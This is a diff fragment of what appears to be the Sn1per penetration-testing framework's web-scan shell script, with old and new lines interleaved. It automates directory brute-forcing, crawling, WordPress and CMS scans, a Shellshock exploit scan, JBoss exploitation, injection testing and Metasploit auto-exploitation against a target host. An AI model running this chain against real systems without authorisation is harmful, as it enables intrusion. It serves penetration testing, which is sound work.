cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http.txt
|
||||
fi
|
||||
if [[ "$CMSMAP" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cmsmap http://$TARGET | tee $LOOT_DIR/web/cmsmap-$TARGET-httpa.txt
|
||||
echo ""
|
||||
cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpb.txt
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WPSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$WP_API_KEY" ]]; then
|
||||
wpscan --url http://$TARGET --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port80a.raw
|
||||
echo ""
|
||||
fi
|
||||
if [ "$PASSIVE_SPIDER" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [ "$WAYBACKMACHINE" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [ "$BLACKWIDOW" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
blackwidow -u http://$TARGET:80 -l 3 -s y -v n
|
||||
cat /usr/share/blackwidow/$TARGET*/* 2> /dev/null > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/weblinks-http-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
fi
|
||||
if [ "$WEB_BRUTE_COMMONSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,jsp,pl,cgi,js,css,txt,html,htm
|
||||
fi
|
||||
if [ "$WEB_BRUTE_FULLSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,jsp,pl,cgi,js,css,txt,html,htm
|
||||
fi
|
||||
if [ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e html
|
||||
fi
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
wget http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null
|
||||
if [ "$NMAP_SCRIPTS" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -A -Pn -T5 -p 80 -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port80
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/output/nmap-$TARGET-port80 2> /dev/null > $LOOT_DIR/output/nmap-$TARGET-port80.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/nmap-$TARGET-port80 2> /dev/null
|
||||
fi
|
||||
if [ "$CLUSTERD" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
clusterd -i $TARGET 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http.txt
|
||||
fi
|
||||
if [ "$CMSMAP" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cmsmap http://$TARGET | tee $LOOT_DIR/web/cmsmap-$TARGET-httpa.txt
|
||||
wpscan --url http://$TARGET/wordpress/ --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port80b.raw
|
||||
echo ""
|
||||
cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-httpb.txt
|
||||
else
|
||||
wpscan --url http://$TARGET --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port80a.raw
|
||||
echo ""
|
||||
fi
|
||||
if [ "$WPSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
wpscan --url http://$TARGET --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-httpa.txt
|
||||
wpscan --url http://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port80b.raw
|
||||
echo ""
|
||||
wpscan --url http://$TARGET/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-httpb.txt
|
||||
echo ""
|
||||
fi
|
||||
if [ "$NIKTO" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nikto -h http://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http.txt
|
||||
fi
|
||||
if [ "$SHOCKER" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port 80 | tee $LOOT_DIR/web/shocker-$TARGET-port80.txt
|
||||
fi
|
||||
if [ "$JEXBOSS" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cd /tmp/
|
||||
python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET | tee $LOOT_DIR/web/jexboss-$TARGET-port80.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port80.raw > $LOOT_DIR/web/jexboss-$TARGET-port80.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port80.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
if [ "$METASPLOIT_EXPLOIT" == "1" ]; then
|
||||
PORT="80"
|
||||
SSL="false"
|
||||
source modes/web_autopwn.sh
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-http-port80a.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-http-port80a.txt
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-http-port80b.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-http-port80b.txt
|
||||
rm -f $LOOT_DIR/web/wpscan-$TARGET-http*.raw 2> /dev/null
|
||||
fi
|
||||
if [[ "$NIKTO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nikto -h http://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-http-port80.txt
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-http-port80.txt
|
||||
fi
|
||||
if [[ "$SHOCKER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port 80 | tee $LOOT_DIR/web/shocker-$TARGET-port80.txt
|
||||
fi
|
||||
if [[ "$JEXBOSS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd /tmp/
|
||||
python3 /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET | tee $LOOT_DIR/web/jexboss-$TARGET-port80.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port80.raw > $LOOT_DIR/web/jexboss-$TARGET-port80.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port80.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
if [[ "$SMUGGLER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING HTTP REQUEST SMUGGLING DETECTION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
|
||||
python3 /usr/share/sniper/plugins/smuggler/smuggler.py --no-color -u http://$TARGET | tee $LOOT_DIR/web/smuggler-$TARGET-port80.txt
|
||||
fi
|
||||
if [[ "$NUCLEI" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nuclei -silent -t /usr/share/sniper/plugins/nuclei-templates/ -c $THREADS -target http://$TARGET -o $LOOT_DIR/web/nuclei-http-10.0.0.19-port80.txt
|
||||
fi
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -1,114 +1,196 @@
|
|||
if [ "$MODE" = "web" ]; then
|
||||
if [ "$BURP_SCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:443\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:443\"]}\"$RESET"
|
||||
fi
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:443\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:443\"]}"
|
||||
if [[ "$MODE" = "web" ]]; then
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per HTTPS web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s GET "https://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$GAU" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING GUA URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
gau -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u https://$TARGET:443 -l 3 -v n
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_443/"$TARGET"_443-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$INJECTX" == "1" ]]; then
|
||||
rm -f $LOOT_DIR/web/injectx-$TARGET-https.raw 2> /dev/null
|
||||
for a in `cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep "https\:" | cut -d '?' -f2 | cut -d '=' -f1 | sort -u`; do for b in `grep $a $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "https\:" | head -n 1`; do injectx.py -u $b -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-https.raw; done; done;
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/injectx-$TARGET-https.raw 2> /dev/null > $LOOT_DIR/web/injectx-$TARGET-https.txt
|
||||
fi
|
||||
source $INSTALL_DIR/modes/static-grep-search.sh
|
||||
if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
|
||||
source $INSTALL_DIR/modes/javascript-analysis.sh
|
||||
fi
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_COMMON -x $WEB_BRUTE_EXCLUDE_CODES -F -e "$WEB_BRUTE_EXTENSIONS" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-common.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_FULL -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-full.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/gobuster-$TARGET-https-exploits.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
